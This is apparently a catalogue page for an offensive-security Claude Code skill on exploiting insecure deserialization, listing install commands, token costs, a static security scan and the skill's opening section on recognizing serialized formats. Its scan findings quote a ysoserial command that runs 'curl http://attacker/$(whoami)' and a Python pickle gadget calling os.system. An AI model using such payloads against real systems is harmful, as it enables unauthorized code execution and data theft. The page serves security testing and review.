exploiting-deserialization

exploiting-deserialization is a skill for Claude Code from trilwu/secskills. It costs 99 tokens per session (2,612 once invoked), scanned A, original, MIT.

A security-testing guide for insecure deserialization, where an application turns attacker-controlled saved data into live objects and may run unintended code while doing so. It covers common formats and languages including Java, .NET, PHP, Python, and Ruby.

In plain words
What is it for?
Use it to recognize serialized data, test suspected deserialization points, find usable gadget chains, and confirm blind cases through DNS or timing signals.
Why use it?
It helps determine whether serialized cookies, messages, cache entries, or request data can lead to code execution or other harmful behavior.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Part of the secskills-offense plugin — 40 skills shipped together

Good fit Use it to recognize serialized data, test suspected deserialization points, find usable gadget chains, and confirm blind cases through DNS or timing signals.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/trilwu/secskills/exploiting-deserialization
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add trilwu/secskills --skill exploiting-deserialization
Clone the repo
git clone --depth 1 https://github.com/trilwu/secskills

Made for: Claude Code.

Or install secskills-offense, the plugin that ships this one along with the rest of its 40 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for exploiting-deserialization

README.md
[![agentmods](https://agentmods.dev/badge/skills/trilwu/secskills/exploiting-deserialization/github.svg)](https://agentmods.dev/skills/trilwu/secskills/exploiting-deserialization)
Your own site
<a href="https://agentmods.dev/skills/trilwu/secskills/exploiting-deserialization"><img src="https://agentmods.dev/badge/skills/trilwu/secskills/exploiting-deserialization/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for exploiting-deserialization

Your own site · 80×15
<a href="https://agentmods.dev/skills/trilwu/secskills/exploiting-deserialization"><img src="https://agentmods.dev/badge/skills/trilwu/secskills/exploiting-deserialization.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 99 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,612 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 1 finding, up to high

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • high Prompt Injection · line 214
    Hidden instructions were detected in comments or invisible text. These could contain malicious directives. Manual review is recommended.
    Fix: Audit all comments and invisible characters. Remove any instructions that direct the agent to perform unauthorized actions. Use plain, reviewable content.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00099 $0.02612
Opus 5.5 $0.00040 $0.01045
Sonnet 5.5 $0.00020 $0.00522
Haiku 4.5 $0.00010 $0.00261

Measured 2mo ago against content hash 2a530803e46d, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade A, and why

exploiting-deserialization scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/$(whoami)' | base64 -w0

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

return (os.system, ('id',))
secskills-offense/skills/exploiting-deserialization/SKILL.md · 237 lines

How it starts

The opening of the file, as written. The whole thing — 237 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Exploiting Deserialization

Deserialization turns attacker-controlled bytes into live objects with attacker-chosen types. The vulnerability is not the parsing — it is that constructing those objects runs code paths the developer never intended. The work is recognizing the format, then finding a gadget chain in the libraries that happen to be on the classpath.

Only against systems you are authorized to test.

When to Use

  • A cookie, parameter, header, or message body contains a serialized object
  • You see the magic values listed below in traffic or storage
  • Source review finds readObject, unserialize, pickle.loads, Marshal.load, BinaryFormatter, yaml.load, or ObjectInputStream
  • A message queue, cache, or session store holds serialized objects
  • You need to confirm a suspected blind deserialization

When NOT to Use

  • JSON/XML parsing without object instantiation — that is injection or XXE; use testing-web-applications
  • Source-code review as the primary task — use auditing-code-for-vulnerabilities; return here for exploitation
  • Building a weaponized payload beyond proving impact — prove control, stop
  • Analyzing malware that uses deserialization — use analyzing-malware

Recognize the Format

Magic bytes identify the runtime, and the runtime decides the entire approach.

Encoding Base64 prefix Raw bytes Runtime
Java serialization rO0AB AC ED 00 05 Java
.NET BinaryFormatter AAEAAAD///// 00 01 00 00 00 FF FF FF FF .NET
.NET LosFormatter/ViewState often /wEP — ASP.NET
PHP serialize() Tzo, YTo O: , a: PHP
Python pickle gAJ, gASV, KGRw 80 04, 80 02, (dp Python
Ruby Marshal BAh 04 08 Ruby
Java Hessian/Burlap Yw 63/48 Java
YAML with tags — !!python/object, !ruby/object Multiple
# Decode anything suspicious you find
echo 'rO0ABXNyABNq...' | base64 -d | xxd | head -3

# Java: readable class names appear in the stream
echo '<b64>' | base64 -d | strings | head -20

Read the full file on GitHub · 237 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2mo ago First seen · 237 lines · 99 tokens per session scan A 2a530803e46d

Subscribe to this mod's changes

exploiting-deserialization is a skill published in the GitHub repository trilwu/secskills (211 stars, last pushed 2mo ago), licensed MIT. It adds 99 tokens to every session and 2,612 once invoked, about $0.0004 per session on Opus 5.5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

exploiting-deserialization compared with skills from other repositories

exploiting-deserialization next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
exploiting-deserializationtrilwu/secskillsSkill2112mo agoMITA99Claude Code
build-mcp-serveranthropics/claude-plugins-officialSkill49kyesterdayApache-2.0A111Claude Code
data-manager-api-troubleshootinggoogle/skillsSkill25ktodayApache-2.0A179Claude Code, Codex
data-manager-api-setupgoogle/skillsSkill25ktodayApache-2.0A118Claude Code, Codex
vss-manage-video-io-storageNVIDIA-AI-Blueprints/video-search-and-summarizationSkill2.0kyesterdayApache-2.0A143Claude Code, Codex
workers-best-practicescloudflare/skillsSkill3.5k4d agoApache-2.0A25Claude Code
vss-search-archiveNVIDIA-AI-Blueprints/video-search-and-summarizationSkill2.0kyesterdayApache-2.0A67Claude Code, Codex